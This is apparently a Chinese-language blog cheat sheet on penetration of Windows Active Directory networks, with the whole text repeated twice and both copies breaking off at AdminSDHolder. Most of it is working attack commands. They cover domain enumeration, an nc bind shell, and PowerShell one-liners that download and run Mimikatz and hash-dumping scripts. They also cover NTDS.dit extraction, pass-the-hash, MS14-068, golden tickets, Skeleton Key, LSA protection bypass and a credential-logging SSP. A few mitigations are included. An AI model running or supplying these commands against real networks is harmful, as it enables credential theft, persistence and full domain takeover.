内网渗透
- 工作组和域
- 网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库.
常用信息与思路
域成员命令
dsquery server //获得域控制器IP
net group “domain controllers” /domain //获得域控制器主机名
net group “domain admins” /domain //查询域管理用户
net user /domain //查看所有域用户
net config workstation //查询当前登陆域
net accounts /domain //查询域密码策略
wmic qfe //查看补丁
wmic os //查看操作系统类型
wmic share get Name,path //相当于net share
wmic ntdomain //获取所有和本主机相关的域,可以看到域控制器的位置
wmic process where name=”qq.exe” call terminate //结束进程
wmic process where name=”qq.exe” delete //结束进程
wmic process where pid=”123″ delete //结束对应PID进程
wmic process call create c:\1.exe //运行程序
wmic process call create “C:\nc.exe -l -p 2222 -e cmd.exe” //运行参数
nltest /dsgetdc:域名 //找域控
或者使用dc列表 nltest /dclist:domain-a 其中pdc是主域控
nltest /domain_trusts //可以列出域之间的信任关系
net user /domain //查看域里面的用户
nbtscan.exe -r 172.0.0.1/24 //查看主机上是哪台用户登陆用netbois
可以使用PowerView信息收集
Powershell.exe -Nop -NonI -Exec Bypass “IEX (New.ObjectNet.WebClient).DownloadString(‘https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP"
tasklist /s ip地址 /u username /p password /v 查看远程主机进程
批量运行1
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
寻找主机是否有域控登陆过
1
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。SYSVOL共享将自动同步并在所有域控制器之间共享。
域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。
由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限
groups.xml
经过AES-256位加密
cpassword=”fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA”
可以使用AES私钥解密GPP密码,并且微软在MSDN上发布了AES加密密钥(共享密钥)缓解措施:
在用于管理GPO的计算机上安装KB2962486补丁,以防止将新凭据置于组策略首选项中。
设置Everyone访问权限
不在组策略中使用域控密码
设置共享文件夹SYSVOL的访问权限
删除现有的GPP里包含密码的xml文件。
当获得某个本地管理员权限的账号时候,想通过该账号访问其他内网主机,可以使用net use建立IPC$连接,wmic指令连接,采用rdp方式连接,mstsc连接.
psexec /accepteula 绕过第一次验证窗口
psexec \目标ip地址 -u 账号 -p 密码 cmd
获得cmdshell目的也可以查找目标主机是否有域管理员登陆过,并抓取域管理员密码
psexec -acccptcula @ip.txt -u 账号 -p 密码 -c bat批量查找脚本
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
域用户hash与密码
- mstsc/admin 解决hash无法抓出问题:
- 域用户帐户以域数据库的形式保存在活动目录中,ntdsutil.exe是域控制器自带的域数据库管理工具,从windows 2008就默认自带了,因此我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy
装载点\windows\NTDS\ntds.dit d:\ntds_save.dit
最后执行unmount {guid}—delete {guid}–quit删除装载点即可 - 上传工具QuarksPwDump到域控制器上,然后执行如下命令,成功提取用户hash,如下图:
- QuarksPwDump –dump-hash-domain –ntds-file d:\ntds_save.dit
- 或者使用mimikatz log “privilege::debug” “lsadump::lsa /patch”
- 一般获得域控hash,如何登录?首先尝试解密,大多都是比较复杂的密码,可以进行hash传递.
- msf有个smb登录的方法,会被杀软拦截,可以用wce修改会话凭据
wce -s Administrator:20121213-0026:004AD741EB01978BAAD3B435B51404EE:272C677DA534166433E35FC255DC444A - 修改完之后直接net use \目标ip地址 我们就以当前的会话凭据建立起ipc$辣~~
net use z:\目标ip地址\c$ //目标c盘共享映射到本地z盘
权限提升
- 创建域时自动生成一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击.
- Windows Pass the Ticket 在域环境中,Kerberos协议被用来作身份认证
- MS14-068 将任何一个域用户提权至域管理员权限
- systeminfo |find “3011780” //查看是否补微软给出的补丁
- whoami /all #该命令获取当前登录用户的信息,获取到用户的sid
- 利用漏洞生成TGT票据 当获取到域用户、域用户sid、密码以及可访问到域控制器的机器,并不需要机器一定在域中,但需要把dns指向域控制器才能解析
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造 - mimikatz # kerberos::list //查看当前机器凭证
- mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
- klist查看是否可以访问域控制器
- Skeleton Key被安装在64位的域控服务器上
支持Windows Server2003—Windows Server2012 R2
能够让所有域用户使用同一个万能密码进行登录
现有的所有域用户使用原密码仍能继续登录
重启后失效
首先域内主机使用正确密码登录域控
net use \域控驱动器号 密码 /user:域控用户
dir \域控驱动器\c$
域控安装Skeleton Key
mimikatz命令:
privilege::debug
misc::skeleton
使用Skeleton Key登录
清除net use连接
net use */del /y
mimikatz的默认Skeleton Key设置为mimikatz
net use \域控驱动器 密码mimiktaz /user:域控用户
dir \域控驱动器\c$
绕过LSA Protection
LSA保护策略防止对进程lsass.exe的代码注入,使mimiktz等无法
配置LSA Protection
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建DWORD值,名称为RunAsPPL,数值为00000001
mimikatz安装命令失败需要mimidrv.sys文件执行如下
mimikatz命令:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
绕过限制命令
privilege::debug
misc::cmd
misc::regedit
misc::taskmg
权限维持
- 维持域控权限的方法kerberos ticket,历史SID,AdminSDHolder,DSRM,GPP,DCSync,SSP,Skeleton Key,Hook PasswordChangeNotify.
- net group “domain admins” /domain 域内管理员 账号
- Golden ticket黄金票据需要三点
- 域的SID值
- 域的名称
- krbtgt用户的ntlm哈希
- 使用mimikatz获取域管理员权限
- mimikatz # kerberos::purge
- mimikatz # kerberos::golden /admin:Administrator /domain:域 /sid:域SID /krbtgt:hash值 /ticket:Administrator.kiribi
- mimikatz # kerberos::ptt Administrator.kiribi
- mimikatz # kerberos::tgt
- DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。
事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作 - 缓解措施:
- 对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。
- Security Support Provider
SSP就是一个DLL,用来实现身份认证,例如
NTLM
Kerberos
Negotiate
Secure Channel (Schannel)
Digest
Credential (CredSSP)
将mimilib.dll复制到域控c:/windows/system32下
设置SSP
修改域控注册表位置:HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
在Security Packages下添加mimilib.dll
域控重启后
c:/windows/system32可看到新生成的文件kiwissp.log记录了登录账户和密码
如果不是在域环境下生成的文件会在 system32mimilsa.log
mimikatz实现
privilege::debug
misc::memssp
缓解措施:
检测注册表位置:
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
检测%windir%/System32是否有可疑dll
重启域控才生效
历史SID记录允许另一个帐户的访问被有效地克隆到另一个帐户
mimikatz “privilege::debug” “misc::addsid bobafett ADSAdministrator”
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限
AdminSDHolder是位于Active Directory中的系统分区
title: intranet pentest
date: 2018-08-07 14:51:20
tags:
- security
- intranet-pentest
- penetration
categories: penetration
description: intranet pentest
内网渗透
- 网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库.
常用信息与思路
- 域成员命令
- dsquery server //获得域控制器IP
- net group “domain controllers” /domain //获得域控制器主机名
- net group “domain admins” /domain //查询域管理用户
- net user /domain //查看所有域用户
- net config workstation //查询当前登陆域
- net accounts /domain //查询域密码策略
- wmic qfe //查看补丁
- wmic os //查看操作系统类型
- wmic share get Name,path //相当于net share
- wmic ntdomain //获取所有和本主机相关的域,可以看到域控制器的位置
- wmic process where name=”qq.exe” call terminate //结束进程
- wmic process where name=”qq.exe” delete //结束进程
- wmic process where pid=”123″ delete //结束对应PID进程
- wmic process call create c:\1.exe //运行程序
- wmic process call create “C:\nc.exe -l -p 2222 -e cmd.exe” //运行参数
- nbtscan.exe -r 172.0.0.1/24 //查看主机上是哪台用户登陆用netbois
- nltest /dsgetdc:域名 //找域控
或者使用dc列表 nltest /dclist:domain-a 其中pdc是主域控 - nltest /domain_trusts //可以列出域之间的信任关系
- net user /domain //查看域里面的用户
- 可以使用PowerView信息收集
- Powershell.exe -Nop -NonI -Exec Bypass “IEX (New.ObjectNet.WebClient).DownloadString(‘https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP"
- tasklist /s ip地址 /u username /p password /v 查看远程主机进程
批量运行寻找主机是否有域控登陆过1
FOR /F %i in (ips.txt) DO @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt &&
1
FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。SYSVOL共享将自动同步并在所有域控制器之间共享。
域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据:groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。
由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限
groups.xml
经过AES-256位加密
cpassword=”fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA”
可以使用AES私钥解密GPP密码,并且微软在MSDN上发布了AES加密密钥(共享密钥)
环节措施:
在用于管理GPO的计算机上安装KB2962486补丁,以防止将新凭据置于组策略首选项中。
设置Everyone访问权限
不在组策略中使用域控密码
设置共享文件夹SYSVOL的访问权限
删除现有的GPP里包含密码的xml文件。
当获得某个本地管理员权限的账号时候,想通过该账号访问其他内网主机,可以使用net use建立IPC$连接,wmic指令连接,采用rdp方式连接,mstsc连接.
psexec /accepteula 绕过第一次验证窗口
psexec \目标ip地址 -u 账号 -p 密码 cmd
获得cmdshell目的也可以查找目标主机是否有域管理员登陆过,并抓取域管理员密码
psexec -acccptcula @ip.txt -u 账号 -p 密码 -c bat批量查找脚本
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
域用户hash与密码
mstsc/admin 解决hash无法抓出问题
域用户帐户以域数据库的形式保存在活动目录中,ntdsutil.exe是域控制器自带的域数据库管理工具,从windows 2008就默认自带了,因此我们可以通过域数据库,提取出域中所有的域用户信息,在域控上依次执行如下命令,导出域数据库:
Ntdsutil –snapshot—activate instance ntds—create—mount {guid}—copy
装载点\windows\NTDS\ntds.dit d:\ntds_save.dit
最后执行unmount {guid}—delete {guid}–quit删除装载点即可
上传工具QuarksPwDump到域控制器上,然后执行如下命令,成功提取用户hash,如下图:
QuarksPwDump –dump-hash-domain –ntds-file d:\ntds_save.dit
或者使用mimikatz log “privilege::debug” “lsadump::lsa /patch”
一般获得域控hash,如何登录?首先尝试解密,大多都是比较复杂的密码,可以进行hash传递.
msf有个smb登录的方法,会被杀软拦截,可以用wce修改会话凭据
wce -s Administrator:20121213-0026:004AD741EB01978BAAD3B435B51404EE:272C677DA534166433E35FC255DC444A
修改完之后直接net use \目标ip地址 我们就以当前的会话凭据建立起ipc$辣~~
net use z:\目标ip地址\c$ //目标c盘共享映射到本地z盘
权限提升
- 创建域时自动生成一个特殊用户叫做krbtgt,该用户是用于Kerberos身份验证的帐户,获得了该用户的hash,就可以伪造票据进行票据传递攻击.
Windows Pass the Ticket 在域环境中,Kerberos协议被用来作身份认证
MS14-068 将任何一个域用户提权至域管理员权限
systeminfo |find “3011780” //查看是否补微软给出的补丁
whoami /all #该命令获取当前登录用户的信息,获取到用户的sid
利用漏洞生成TGT票据 当获取到域用户、域用户sid、密码以及可访问到域控制器的机器,并不需要机器一定在域中,但需要把dns指向域控制器才能解析
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
mimikatz # kerberos::list //查看当前机器凭证
mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
klist查看是否可以访问域控制器
Skeleton Key被安装在64位的域控服务器上
支持Windows Server2003—Windows Server2012 R2
能够让所有域用户使用同一个万能密码进行登录
现有的所有域用户使用原密码仍能继续登录
重启后失效
首先域内主机使用正确密码登录域控
net use \域控驱动器号 密码 /user:域控用户
dir \域控驱动器\c$
域控安装Skeleton Key
mimikatz命令:
privilege::debug
misc::skeleton
使用Skeleton Key登录
清除net use连接
net use */del /y
mimikatz的默认Skeleton Key设置为mimikatz
net use \域控驱动器 密码mimiktaz /user:域控用户
dir \域控驱动器\c$
绕过LSA Protection
LSA保护策略防止对进程lsass.exe的代码注入,使mimiktz等无法
配置LSA Protection
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
新建DWORD值,名称为RunAsPPL,数值为00000001
mimikatz安装命令失败需要mimidrv.sys文件执行如下
mimikatz命令:
privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton
绕过限制命令
privilege::debug
misc::cmd
misc::regedit
misc::taskmg
权限维持
维持域控权限的方法kerberos ticket,历史SID,AdminSDHolder,DSRM,GPP,DCSync,SSP,Skeleton Key,Hook PasswordChangeNotify.
net group “domain admins” /domain 域内管理员 账号
golden ticket黄金票据
需要三点
域的SID值
域的名称
krbtgt用户的ntlm哈希
使用mimikatz获取域管理员权限
mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:域 /sid:域SID - /krbtgt:hash值 /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::tgt
DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。
事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作
缓解措施
对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。
- Security Support Provider
SSP就是一个DLL,用来实现身份认证,例如
NTLM
Kerberos
Negotiate
Secure Channel (Schannel)
Digest
Credential (CredSSP)
将mimilib.dll复制到域控c:/windows/system32下
设置SSP
修改域控注册表位置:HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
在Security Packages下添加mimilib.dll
域控重启后
c:/windows/system32可看到新生成的文件kiwissp.log记录了登录账户和密码
如果不是在域环境下生成的文件会在 system32mimilsa.log
mimikatz实现
privilege::debug
misc::memssp
缓解措施:
检测注册表位置:
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/
检测%windir%/System32是否有可疑dll
重启域控才生效
历史SID记录允许另一个帐户的访问被有效地克隆到另一个帐户
mimikatz “privilege::debug” “misc::addsid bobafett ADSAdministrator”
AdminSDHolder&SDProp
利用AdminSDHolder&SDProp(重新)获取域管理权限
AdminSDHolder是位于Active Directory中的系统分区